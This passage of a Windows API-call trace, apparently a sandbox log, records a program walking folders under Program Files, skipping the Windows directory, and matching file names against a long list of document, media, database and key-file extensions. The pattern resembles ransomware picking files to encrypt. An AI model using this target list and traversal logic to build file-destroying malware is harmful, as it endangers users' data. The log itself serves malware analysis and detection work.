[0181.138] lstrlenW (lpString=".epsp") returned 5 [0181.138] lstrcmpiW (lpString1=".epsp", lpString2="a.exe") returned -1 [0181.138] lstrlenW (lpString=".erf") returned 4 [0181.138] lstrcmpiW (lpString1=".erf", lpString2=".exe") returned -1 [0181.138] lstrlenW (lpString=".exr") returned 4 [0181.138] lstrcmpiW (lpString1=".exr", lpString2=".exe") returned 1 [0181.138] lstrlenW (lpString=".f4v") returned 4 [0181.138] lstrcmpiW (lpString1=".f4v", lpString2=".exe") returned 1 [0181.138] lstrlenW (lpString=".fido") returned 5 [0181.138] lstrcmpiW (lpString1=".fido", lpString2="a.exe") returned -1 [0181.138] lstrlenW (lpString=".flm") returned 4 [0181.138] lstrcmpiW (lpString1=".flm", lpString2=".exe") returned 1 [0181.138] lstrlenW (lpString=".flv") returned 4 [0181.138] lstrcmpiW (lpString1=".flv", lpString2=".exe") returned 1 [0181.138] lstrlenW (lpString=".frm") returned 4 [0181.138] lstrcmpiW (lpString1=".frm", lpString2=".exe") returned 1 [0181.138] lstrlenW (lpString=".fxg") returned 4 [0181.138] lstrcmpiW (lpString1=".fxg", lpString2=".exe") returned 1 [0181.139] lstrlenW (lpString=".geo") returned 4 [0181.139] lstrcmpiW (lpString1=".geo", lpString2=".exe") returned 1 [0181.139] lstrlenW (lpString=".gif") returned 4 [0181.139] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1 [0181.139] lstrlenW (lpString=".grs") returned 4 [0181.139] lstrcmpiW (lpString1=".grs", lpString2=".exe") returned 1 [0181.139] lstrlenW (lpString=".gz") returned 3 [0181.139] lstrcmpiW (lpString1=".gz", lpString2="exe") returned -1 [0181.139] lstrlenW (lpString=".h") returned 2 [0181.139] lstrcmpiW (lpString1=".h", lpString2="xe") returned -1 [0181.139] lstrlenW (lpString=".hdr") returned 4 [0181.139] lstrcmpiW (lpString1=".hdr", lpString2=".exe") returned 1 [0181.139] lstrlenW (lpString=".hpp") returned 4 [0181.139] lstrcmpiW (lpString1=".hpp", lpString2=".exe") returned 1 [0181.139] lstrlenW (lpString=".hta") returned 4 [0181.139] lstrcmpiW (lpString1=".hta", lpString2=".exe") returned 1 [0181.139] lstrlenW (lpString=".htc") returned 4 [0181.139] lstrcmpiW (lpString1=".htc", lpString2=".exe") returned 1 [0181.139] lstrlenW (lpString=".htm") returned 4 [0181.139] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1 [0181.139] lstrlenW (lpString=".html") returned 5 [0181.139] lstrcmpiW (lpString1=".html", lpString2="a.exe") returned -1 [0181.139] lstrlenW (lpString=".icb") returned 4 [0181.139] lstrcmpiW (lpString1=".icb", lpString2=".exe") returned 1 [0181.139] lstrlenW (lpString=".ics") returned 4 [0181.139] lstrcmpiW (lpString1=".ics", lpString2=".exe") returned 1 [0181.139] lstrlenW (lpString=".iff") returned 4 [0181.139] lstrcmpiW (lpString1=".iff", lpString2=".exe") returned 1 [0181.139] lstrlenW (lpString=".inc") returned 4 [0181.139] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1 [0181.139] lstrlenW (lpString=".indd") returned 5 [0181.140] lstrcmpiW (lpString1=".indd", lpString2="a.exe") returned -1 [0181.140] lstrlenW (lpString=".ini") returned 4 [0181.140] lstrcmpiW (lpString1=".ini", lpString2=".exe") returned 1 [0181.140] lstrlenW (lpString=".iqy") returned 4 [0181.140] lstrcmpiW (lpString1=".iqy", lpString2=".exe") returned 1 [0181.140] lstrlenW (lpString=".j2c") returned 4 [0181.140] lstrcmpiW (lpString1=".j2c", lpString2=".exe") returned 1 [0181.140] lstrlenW (lpString=".j2k") returned 4 [0181.140] lstrcmpiW (lpString1=".j2k", lpString2=".exe") returned 1 [0181.140] lstrlenW (lpString=".java") returned 5 [0181.140] lstrcmpiW (lpString1=".java", lpString2="a.exe") returned -1 [0181.140] lstrlenW (lpString=".jp2") returned 4 [0181.140] lstrcmpiW (lpString1=".jp2", lpString2=".exe") returned 1 [0181.140] lstrlenW (lpString=".jpc") returned 4 [0181.140] lstrcmpiW (lpString1=".jpc", lpString2=".exe") returned 1 [0181.140] lstrlenW (lpString=".jpe") returned 4 [0181.140] lstrcmpiW (lpString1=".jpe", lpString2=".exe") returned 1 [0181.140] lstrlenW (lpString=".jpeg") returned 5 [0181.140] lstrcmpiW (lpString1=".jpeg", lpString2="a.exe") returned -1 [0181.140] lstrlenW (lpString=".jpf") returned 4 [0181.140] lstrcmpiW (lpString1=".jpf", lpString2=".exe") returned 1 [0181.140] lstrlenW (lpString=".jpg") returned 4 [0181.140] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0181.140] lstrlenW (lpString=".jpx") returned 4 [0181.141] lstrcmpiW (lpString1=".jpx", lpString2=".exe") returned 1 [0181.141] lstrlenW (lpString=".js") returned 3 [0181.141] lstrcmpiW (lpString1=".js", lpString2="exe") returned -1 [0181.141] lstrlenW (lpString=".jsf") returned 4 [0181.141] lstrcmpiW (lpString1=".jsf", lpString2=".exe") returned 1 [0181.141] lstrlenW (lpString=".json") returned 5 [0181.141] lstrcmpiW (lpString1=".json", lpString2="a.exe") returned -1 [0181.141] lstrlenW (lpString=".jsp") returned 4 [0181.141] lstrcmpiW (lpString1=".jsp", lpString2=".exe") returned 1 [0181.141] lstrlenW (lpString=".kdc") returned 4 [0181.141] lstrcmpiW (lpString1=".kdc", lpString2=".exe") returned 1 [0181.141] lstrlenW (lpString=".kmz") returned 4 [0181.141] lstrcmpiW (lpString1=".kmz", lpString2=".exe") returned 1 [0181.141] lstrlenW (lpString=".kwm") returned 4 [0181.141] lstrcmpiW (lpString1=".kwm", lpString2=".exe") returned 1 [0181.141] lstrlenW (lpString=".lasso") returned 6 [0181.141] lstrcmpiW (lpString1=".lasso", lpString2="ca.exe") returned -1 [0181.141] lstrlenW (lpString=".lbi") returned 4 [0181.141] lstrcmpiW (lpString1=".lbi", lpString2=".exe") returned 1 [0181.141] lstrlenW (lpString=".lgf") returned 4 [0181.141] lstrcmpiW (lpString1=".lgf", lpString2=".exe") returned 1 [0181.141] lstrlenW (lpString=".lgp") returned 4 [0181.141] lstrcmpiW (lpString1=".lgp", lpString2=".exe") returned 1 [0181.141] lstrlenW (lpString=".log") returned 4 [0181.141] lstrcmpiW (lpString1=".log", lpString2=".exe") returned 1 [0181.141] lstrlenW (lpString=".m1v") returned 4 [0181.141] lstrcmpiW (lpString1=".m1v", lpString2=".exe") returned 1 [0181.141] lstrlenW (lpString=".m4a") returned 4 [0181.141] lstrcmpiW (lpString1=".m4a", lpString2=".exe") returned 1 [0181.141] lstrlenW (lpString=".m4v") returned 4 [0181.141] lstrcmpiW (lpString1=".m4v", lpString2=".exe") returned 1 [0181.141] lstrlenW (lpString=".max") returned 4 [0181.141] lstrcmpiW (lpString1=".max", lpString2=".exe") returned 1 [0181.142] lstrlenW (lpString=".md") returned 3 [0181.142] lstrcmpiW (lpString1=".md", lpString2="exe") returned -1 [0181.142] lstrlenW (lpString=".mda") returned 4 [0181.142] lstrcmpiW (lpString1=".mda", lpString2=".exe") returned 1 [0181.142] lstrlenW (lpString=".mdb") returned 4 [0181.142] lstrcmpiW (lpString1=".mdb", lpString2=".exe") returned 1 [0181.142] lstrlenW (lpString=".mde") returned 4 [0181.142] lstrcmpiW (lpString1=".mde", lpString2=".exe") returned 1 [0181.142] lstrlenW (lpString=".mdf") returned 4 [0181.142] lstrcmpiW (lpString1=".mdf", lpString2=".exe") returned 1 [0181.142] lstrlenW (lpString=".mdw") returned 4 [0181.142] lstrcmpiW (lpString1=".mdw", lpString2=".exe") returned 1 [0181.142] lstrlenW (lpString=".mef") returned 4 [0181.142] lstrcmpiW (lpString1=".mef", lpString2=".exe") returned 1 [0181.142] lstrlenW (lpString=".mft") returned 4 [0181.142] lstrcmpiW (lpString1=".mft", lpString2=".exe") returned 1 [0181.142] lstrlenW (lpString=".mfw") returned 4 [0181.142] lstrcmpiW (lpString1=".mfw", lpString2=".exe") returned 1 [0181.142] lstrlenW (lpString=".mht") returned 4 [0181.142] lstrcmpiW (lpString1=".mht", lpString2=".exe") returned 1 [0181.142] lstrlenW (lpString=".mhtml") returned 6 [0181.142] lstrcmpiW (lpString1=".mhtml", lpString2="ca.exe") returned -1 [0181.142] lstrlenW (lpString=".mka") returned 4 [0181.142] lstrcmpiW (lpString1=".mka", lpString2=".exe") returned 1 [0181.142] lstrlenW (lpString=".mkidx") returned 6 [0181.142] lstrcmpiW (lpString1=".mkidx", lpString2="ca.exe") returned -1 [0181.142] lstrlenW (lpString=".mkv") returned 4 [0181.142] lstrcmpiW (lpString1=".mkv", lpString2=".exe") returned 1 [0181.142] lstrlenW (lpString=".mos") returned 4 [0181.142] lstrcmpiW (lpString1=".mos", lpString2=".exe") returned 1 [0181.143] lstrlenW (lpString=".mov") returned 4 [0181.143] lstrcmpiW (lpString1=".mov", lpString2=".exe") returned 1 [0181.143] lstrlenW (lpString=".mp3") returned 4 [0181.143] lstrcmpiW (lpString1=".mp3", lpString2=".exe") returned 1 [0181.143] lstrlenW (lpString=".mp4") returned 4 [0181.143] lstrcmpiW (lpString1=".mp4", lpString2=".exe") returned 1 [0181.143] lstrlenW (lpString=".mpeg") returned 5 [0181.143] lstrcmpiW (lpString1=".mpeg", lpString2="a.exe") returned -1 [0181.143] lstrlenW (lpString=".mpg") returned 4 [0181.143] lstrcmpiW (lpString1=".mpg", lpString2=".exe") returned 1 [0181.143] lstrlenW (lpString=".mpv") returned 4 [0181.143] lstrcmpiW (lpString1=".mpv", lpString2=".exe") returned 1 [0181.143] lstrlenW (lpString=".mrw") returned 4 [0181.143] lstrcmpiW (lpString1=".mrw", lpString2=".exe") returned 1 [0181.143] lstrlenW (lpString=".msg") returned 4 [0181.143] lstrcmpiW (lpString1=".msg", lpString2=".exe") returned 1 [0181.143] lstrlenW (lpString=".mxl") returned 4 [0181.143] lstrcmpiW (lpString1=".mxl", lpString2=".exe") returned 1 [0181.143] lstrlenW (lpString=".myd") returned 4 [0181.143] lstrcmpiW (lpString1=".myd", lpString2=".exe") returned 1 [0181.143] lstrlenW (lpString=".myi") returned 4 [0181.143] lstrcmpiW (lpString1=".myi", lpString2=".exe") returned 1 [0181.143] lstrlenW (lpString=".nef") returned 4 [0181.143] lstrcmpiW (lpString1=".nef", lpString2=".exe") returned 1 [0181.143] lstrlenW (lpString=".nrw") returned 4 [0181.143] lstrcmpiW (lpString1=".nrw", lpString2=".exe") returned 1 [0181.143] lstrlenW (lpString=".obj") returned 4 [0181.143] lstrcmpiW (lpString1=".obj", lpString2=".exe") returned 1 [0181.143] lstrlenW (lpString=".odb") returned 4 [0181.143] lstrcmpiW (lpString1=".odb", lpString2=".exe") returned 1 [0181.143] lstrlenW (lpString=".odc") returned 4 [0181.143] lstrcmpiW (lpString1=".odc", lpString2=".exe") returned 1 [0181.144] lstrlenW (lpString=".odm") returned 4 [0181.144] lstrcmpiW (lpString1=".odm", lpString2=".exe") returned 1 [0181.144] lstrlenW (lpString=".odp") returned 4 [0181.145] lstrcmpiW (lpString1=".odp", lpString2=".exe") returned 1 [0181.145] lstrlenW (lpString=".ods") returned 4 [0181.145] lstrcmpiW (lpString1=".ods", lpString2=".exe") returned 1 [0181.145] lstrlenW (lpString=".oft") returned 4 [0181.145] lstrcmpiW (lpString1=".oft", lpString2=".exe") returned 1 [0181.145] lstrlenW (lpString=".one") returned 4 [0181.145] lstrcmpiW (lpString1=".one", lpString2=".exe") returned 1 [0181.145] lstrlenW (lpString=".onepkg") returned 7 [0181.145] lstrcmpiW (lpString1=".onepkg", lpString2="rca.exe") returned -1 [0181.145] lstrlenW (lpString=".onetoc2") returned 8 [0181.145] lstrcmpiW (lpString1=".onetoc2", lpString2="arca.exe") returned -1 [0181.145] lstrlenW (lpString=".opt") returned 4 [0181.145] lstrcmpiW (lpString1=".opt", lpString2=".exe") returned 1 [0181.145] lstrlenW (lpString=".oqy") returned 4 [0181.145] lstrcmpiW (lpString1=".oqy", lpString2=".exe") returned 1 [0181.145] lstrlenW (lpString=".orf") returned 4 [0181.145] lstrcmpiW (lpString1=".orf", lpString2=".exe") returned 1 [0181.145] lstrlenW (lpString=".p12") returned 4 [0181.145] lstrcmpiW (lpString1=".p12", lpString2=".exe") returned 1 [0181.145] lstrlenW (lpString=".p7b") returned 4 [0181.145] lstrcmpiW (lpString1=".p7b", lpString2=".exe") returned 1 [0181.146] lstrlenW (lpString=".p7c") returned 4 [0181.146] lstrcmpiW (lpString1=".p7c", lpString2=".exe") returned 1 [0181.146] lstrlenW (lpString=".pam") returned 4 [0181.146] lstrcmpiW (lpString1=".pam", lpString2=".exe") returned 1 [0181.146] lstrlenW (lpString=".pbm") returned 4 [0181.146] lstrcmpiW (lpString1=".pbm", lpString2=".exe") returned 1 [0181.146] lstrlenW (lpString=".pct") returned 4 [0181.146] lstrcmpiW (lpString1=".pct", lpString2=".exe") returned 1 [0181.146] lstrlenW (lpString=".pcx") returned 4 [0181.146] lstrcmpiW (lpString1=".pcx", lpString2=".exe") returned 1 [0181.146] lstrlenW (lpString=".pdd") returned 4 [0181.146] lstrcmpiW (lpString1=".pdd", lpString2=".exe") returned 1 [0181.146] lstrlenW (lpString=".pdf") returned 4 [0181.146] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0181.146] lstrlenW (lpString=".pdp") returned 4 [0181.146] lstrcmpiW (lpString1=".pdp", lpString2=".exe") returned 1 [0181.146] lstrlenW (lpString=".pef") returned 4 [0181.146] lstrcmpiW (lpString1=".pef", lpString2=".exe") returned 1 [0181.147] lstrlenW (lpString=".pem") returned 4 [0181.147] lstrcmpiW (lpString1=".pem", lpString2=".exe") returned 1 [0181.147] lstrlenW (lpString=".pff") returned 4 [0181.147] lstrcmpiW (lpString1=".pff", lpString2=".exe") returned 1 [0181.147] lstrlenW (lpString=".pfm") returned 4 [0181.147] lstrcmpiW (lpString1=".pfm", lpString2=".exe") returned 1 [0181.147] lstrlenW (lpString=".pfx") returned 4 [0181.147] lstrcmpiW (lpString1=".pfx", lpString2=".exe") returned 1 [0181.147] lstrlenW (lpString=".pgm") returned 4 [0181.147] lstrcmpiW (lpString1=".pgm", lpString2=".exe") returned 1 [0181.147] lstrlenW (lpString=".php") returned 4 [0181.147] lstrcmpiW (lpString1=".php", lpString2=".exe") returned 1 [0181.147] lstrlenW (lpString=".php3") returned 5 [0181.147] lstrcmpiW (lpString1=".php3", lpString2="a.exe") returned -1 [0181.147] lstrlenW (lpString=".php4") returned 5 [0181.147] lstrcmpiW (lpString1=".php4", lpString2="a.exe") returned -1 [0181.147] lstrlenW (lpString=".php5") returned 5 [0181.147] lstrcmpiW (lpString1=".php5", lpString2="a.exe") returned -1 [0181.147] lstrlenW (lpString=".phtml") returned 6 [0181.147] lstrcmpiW (lpString1=".phtml", lpString2="ca.exe") returned -1 [0181.147] lstrlenW (lpString=".pict") returned 5 [0181.147] lstrcmpiW (lpString1=".pict", lpString2="a.exe") returned -1 [0181.147] lstrlenW (lpString=".pl") returned 3 [0181.147] lstrcmpiW (lpString1=".pl", lpString2="exe") returned -1 [0181.147] lstrlenW (lpString=".pls") returned 4 [0181.147] lstrcmpiW (lpString1=".pls", lpString2=".exe") returned 1 [0181.147] lstrlenW (lpString=".pm") returned 3 [0181.147] lstrcmpiW (lpString1=".pm", lpString2="exe") returned -1 [0181.147] lstrlenW (lpString=".png") returned 4 [0181.147] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0181.147] lstrlenW (lpString=".pnm") returned 4 [0181.148] lstrcmpiW (lpString1=".pnm", lpString2=".exe") returned 1 [0181.148] lstrlenW (lpString=".pot") returned 4 [0181.148] lstrcmpiW (lpString1=".pot", lpString2=".exe") returned 1 [0181.148] lstrlenW (lpString=".potm") returned 5 [0181.148] lstrcmpiW (lpString1=".potm", lpString2="a.exe") returned -1 [0181.148] lstrlenW (lpString=".potx") returned 5 [0181.148] lstrcmpiW (lpString1=".potx", lpString2="a.exe") returned -1 [0181.148] lstrlenW (lpString=".ppa") returned 4 [0181.148] lstrcmpiW (lpString1=".ppa", lpString2=".exe") returned 1 [0181.148] lstrlenW (lpString=".ppam") returned 5 [0181.148] lstrcmpiW (lpString1=".ppam", lpString2="a.exe") returned -1 [0181.148] lstrlenW (lpString=".ppm") returned 4 [0181.148] lstrcmpiW (lpString1=".ppm", lpString2=".exe") returned 1 [0181.148] lstrlenW (lpString=".pps") returned 4 [0181.148] lstrcmpiW (lpString1=".pps", lpString2=".exe") returned 1 [0181.148] lstrlenW (lpString=".ppsm") returned 5 [0181.148] lstrcmpiW (lpString1=".ppsm", lpString2="a.exe") returned -1 [0181.148] lstrlenW (lpString=".ppt") returned 4 [0181.148] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0181.148] lstrlenW (lpString=".pptm") returned 5 [0181.148] lstrcmpiW (lpString1=".pptm", lpString2="a.exe") returned -1 [0181.148] lstrlenW (lpString=".pptx") returned 5 [0181.148] lstrcmpiW (lpString1=".pptx", lpString2="a.exe") returned -1 [0181.148] lstrlenW (lpString=".prn") returned 4 [0181.148] lstrcmpiW (lpString1=".prn", lpString2=".exe") returned 1 [0181.148] lstrlenW (lpString=".ps") returned 3 [0181.148] lstrcmpiW (lpString1=".ps", lpString2="exe") returned -1 [0181.148] lstrlenW (lpString=".psb") returned 4 [0181.148] lstrcmpiW (lpString1=".psb", lpString2=".exe") returned 1 [0181.148] lstrlenW (lpString=".psd") returned 4 [0181.149] lstrcmpiW (lpString1=".psd", lpString2=".exe") returned 1 [0181.149] lstrlenW (lpString=".pst") returned 4 [0181.149] lstrcmpiW (lpString1=".pst", lpString2=".exe") returned 1 [0181.149] lstrlenW (lpString=".ptx") returned 4 [0181.149] lstrcmpiW (lpString1=".ptx", lpString2=".exe") returned 1 [0181.149] lstrlenW (lpString=".pub") returned 4 [0181.149] lstrcmpiW (lpString1=".pub", lpString2=".exe") returned 1 [0181.149] lstrlenW (lpString=".pwm") returned 4 [0181.149] lstrcmpiW (lpString1=".pwm", lpString2=".exe") returned 1 [0181.149] lstrlenW (lpString=".pxr") returned 4 [0181.149] lstrcmpiW (lpString1=".pxr", lpString2=".exe") returned 1 [0181.149] lstrlenW (lpString=".py") returned 3 [0181.149] lstrcmpiW (lpString1=".py", lpString2="exe") returned -1 [0181.149] lstrlenW (lpString=".qt") returned 3 [0181.149] lstrcmpiW (lpString1=".qt", lpString2="exe") returned -1 [0181.149] lstrlenW (lpString=".r3d") returned 4 [0181.149] lstrcmpiW (lpString1=".r3d", lpString2=".exe") returned 1 [0181.149] lstrlenW (lpString=".raf") returned 4 [0181.149] lstrcmpiW (lpString1=".raf", lpString2=".exe") returned 1 [0181.149] lstrlenW (lpString=".rar") returned 4 [0181.149] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0181.149] lstrlenW (lpString=".raw") returned 4 [0181.149] lstrcmpiW (lpString1=".raw", lpString2=".exe") returned 1 [0181.149] FindNextFileW (in: hFindFile=0x4840d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x749f4454, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747febb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CampaignManager", cAlternateFileName="CAMPAI~1")) returned 1 [0181.150] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4100f88 [0181.150] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\*", lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x749f4454, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747febb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484ed8 [0181.291] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x749f4454, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa747febb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0181.291] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x865d24d3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0xce2469cc, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x26, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CampaignCatalog.json", cAlternateFileName="CAMPAI~1.JSO")) returned 1 [0181.291] FindNextFileW (in: hFindFile=0x484ed8, lpFindFileData=0x30df584 | out: lpFindFileData=0x30df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 1 [0181.291] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns") returned 46 [0181.291] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns") returned 1 [0181.291] lstrlenW (lpString="Campaigns") returned 9 [0181.291] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Campaigns") returned -1 [0181.291] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4110f90 [0181.291] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns") returned 46 [0181.291] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\*", lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x485058 [0181.292] FindNextFileW (in: hFindFile=0x485058, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.292] FindNextFileW (in: hFindFile=0x485058, lpFindFileData=0x30df308 | out: lpFindFileData=0x30df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 1 [0181.292] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}") returned 85 [0181.292] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}") returned 1 [0181.292] lstrlenW (lpString="{91be532c-f9f1-406a-9858-43697c6f437a}") returned 38 [0181.292] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="{91be532c-f9f1-406a-9858-43697c6f437a}") returned 1 [0181.292] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3ff4820 [0181.293] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}") returned 85 [0181.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\*", lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484a98 [0181.293] FindNextFileW (in: hFindFile=0x484a98, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0181.293] FindNextFileW (in: hFindFile=0x484a98, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x90d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Config_131491847713900000.json", cAlternateFileName="CONFIG~1.JSO")) returned 1 [0181.294] lstrlenW (lpString="Config_131491847713900000.json") returned 30 [0181.294] lstrlenW (lpString=".1cd") returned 4 [0181.294] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0181.294] lstrlenW (lpString=".3ds") returned 4 [0181.294] lstrcmpiW (lpString1=".3ds", lpString2="json") returned -1 [0181.294] lstrlenW (lpString=".3fr") returned 4 [0181.294] lstrcmpiW (lpString1=".3fr", lpString2="json") returned -1 [0181.294] lstrlenW (lpString=".3g2") returned 4 [0181.294] lstrcmpiW (lpString1=".3g2", lpString2="json") returned -1 [0181.294] lstrlenW (lpString=".3gp") returned 4 [0181.294] lstrcmpiW (lpString1=".3gp", lpString2="json") returned -1 [0181.294] lstrlenW (lpString=".7z") returned 3 [0181.294] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0181.294] lstrlenW (lpString=".accda") returned 6 [0181.294] lstrcmpiW (lpString1=".accda", lpString2="0.json") returned -1 [0181.294] lstrlenW (lpString=".accdb") returned 6 [0181.294] lstrcmpiW (lpString1=".accdb", lpString2="0.json") returned -1 [0181.294] lstrlenW (lpString=".accdc") returned 6 [0181.294] lstrcmpiW (lpString1=".accdc", lpString2="0.json") returned -1 [0181.294] lstrlenW (lpString=".accde") returned 6 [0181.294] lstrcmpiW (lpString1=".accde", lpString2="0.json") returned -1 [0181.294] lstrlenW (lpString=".accdt") returned 6 [0181.294] lstrcmpiW (lpString1=".accdt", lpString2="0.json") returned -1 [0181.294] lstrlenW (lpString=".accdw") returned 6 [0181.294] lstrcmpiW (lpString1=".accdw", lpString2="0.json") returned -1 [0181.294] lstrlenW (lpString=".adb") returned 4 [0181.295] lstrcmpiW (lpString1=".adb", lpString2="json") returned -1 [0181.295] lstrlenW (lpString=".adp") returned 4 [0181.295] lstrcmpiW (lpString1=".adp", lpString2="json") returned -1 [0181.295] lstrlenW (lpString=".ai") returned 3 [0181.295] lstrcmpiW (lpString1=".ai", lpString2="son") returned -1 [0181.295] lstrlenW (lpString=".ai3") returned 4 [0181.295] lstrcmpiW (lpString1=".ai3", lpString2="json") returned -1 [0181.295] lstrlenW (lpString=".ai4") returned 4 [0181.295] lstrcmpiW 